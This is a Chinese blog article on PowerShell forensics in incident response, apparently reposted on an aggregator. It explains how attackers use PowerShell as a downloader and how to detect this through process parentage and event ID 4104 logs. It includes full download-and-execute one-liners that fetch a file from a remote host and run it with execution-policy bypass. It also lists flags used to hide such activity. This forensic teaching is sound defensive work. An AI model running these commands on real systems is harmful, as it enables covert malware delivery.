huasec 04月07日 01:20
应急响应之powershell取证
index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html

 

本文探讨了PowerShell在Windows系统中的广泛应用及其在恶意活动中的潜在风险。文章指出,攻击者利用PowerShell进行各种恶意操作,如权限提升、凭据盗窃等。介绍了PowerShell攻击的常见方式,如下载器和无文件攻击,并强调了隐藏攻击的参数。此外,文章提供了检测PowerShell攻击的方法,包括分析进程父子关系和利用事件日志进行取证分析,例如通过解析Microsoft-Windows-PowerShell - Operational.evtx日志中的事件ID 4104来获取执行的脚本代码。

💻PowerShell的恶意利用:PowerShell被广泛应用于恶意活动,包括权限提升、凭据盗窃、横向移动等,攻击者常利用其下载恶意脚本并执行。

🔑隐蔽攻击的参数:攻击者使用如-WindowStyle hidden、-Exec Bypass、-Command、-EncodedCommand等参数来隐藏PowerShell操作,使其更难以被检测到。

🔍检测PowerShell攻击的方法:通过观察PowerShell进程的父子关系,如父进程为cmd.exe时需警惕。同时,利用Microsoft-Windows-PowerShell - Operational.evtx日志(事件ID 4104)来分析执行的脚本代码,可以使用block-parser工具进行解析。

原创 花十一一 2021-07-27 09:02

powershell取证

                                 01


介绍


      PowerShell在Windows操作系统中应用越来越广泛,在带来方便的同时,它还为攻击者提供了一套几乎前所未有的功能。PowerShell 可以实现几乎所有可以想象的恶意活动:权限提升、凭据盗窃、横向移动、数据破坏、持久性、数据泄露等等。恶意PowerShell 正在被广泛使用。通常攻击者会使用powershell做下载器,从远程服务器下载恶意ps脚本到受害机器,然后使用start- process、Invoke-Item或file将远程文件的内容写到到受害机器的内存中并从那里执行它。

例如:从远程下载1.txt文件保存在C:\Users\<user>\AppData\Roaming路径下并执行

    (New-Object Net.WebClient).downloadfile('http://192.168.1.7/1.txt',$env:Appdata+"\whoami.txt");Invoke-Item$env:Appdata"\whoami.txt"

    当然上述例子,也可以换种方式来写,

      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe-nop -Exec Bypass -Command (New-ObjectSystem.Net.WebClient).DownloadFile('http://192.168.1.7/1.txt',$env:Appdata+"\whoami.txt");Start-Process $env:APPDATA"\whoami.txt"

      DownloadString()不下载文件到主机上,但它将远程文件的内容直接复制到受害机器的内存中。这种技术被广泛用于无文件攻击中。如下,1.txt中是whoami,通过powershell调用执行whoami

      另外,攻击者还会使用PowerShell中各种可用的参数选项来使操作尽可能隐蔽。以下是在攻击中广泛使用的参数

      - WindowStyle hidden / -w hidden: 对用户隐藏程序窗口

      -Exec Bypass: 绕过/忽略像Restricted这样限制PowerShell脚本运行的执行策略

      -Command / -c: PowerShell终端执行任何命令

      -EncodedCommand/ -e/ --enc: 将编码后的参数作为命令行传递

      -Nop / -noprofile: 忽略Profile文件中的命令。


      02


      检测

      观察PowerShell进程的父子关系

      通常,当我们使用windows开始菜单或直接点击powershell文件运行PowerShell时,它会在进程Explorer .exe下启动,

      但是在PowerShell攻击中,PowerShell脚本/命令是通过命令行进程启动的,因此在攻击中PowerShell进程的父进程是cmd.exe。当然有些正常环境也是使用cmd启动powershell,故需要结合cmd的父进程是否为恶意。

      日志上

      Microsoft-Windows-PowerShell - Operational.evtx记录了主机上的powershell历史执行命令。其中事件ID 4104(执行远程命令)中的 Scriptblock 文本通常包含执行操作的代码。

      可以使用block-parser进行解析,下载地址:

      https://github.com/matthewdunwoody/block-parser

      依赖库:lxmlpython-evtx

      使用方法:

        将所有powershell脚本解析到一个文件中>python block-parser.py -a -foutput "Microsoft-Windows-PowerShell%4Operational.evtx"将每个powershell脚本单独解析到一个文件中>python block-parser.py -o  output2  "Microsoft-Windows-PowerShell%4Operational.evtx"




        阅读原文

        跳转微信打开

        Fish AI Reader

        Fish AI Reader

        AI辅助创作,多种专业模板,深度分析,高质量内容生成。从观点提取到深度思考,FishAI为您提供全方位的创作支持。新版本引入自定义参数,让您的创作更加个性化和精准。

        FishAI

        FishAI

        鱼阅,AI 时代的下一个智能信息助手,助你摆脱信息焦虑

        联系邮箱 441953276@qq.com

        相关标签

        PowerShell 取证 安全
        相关文章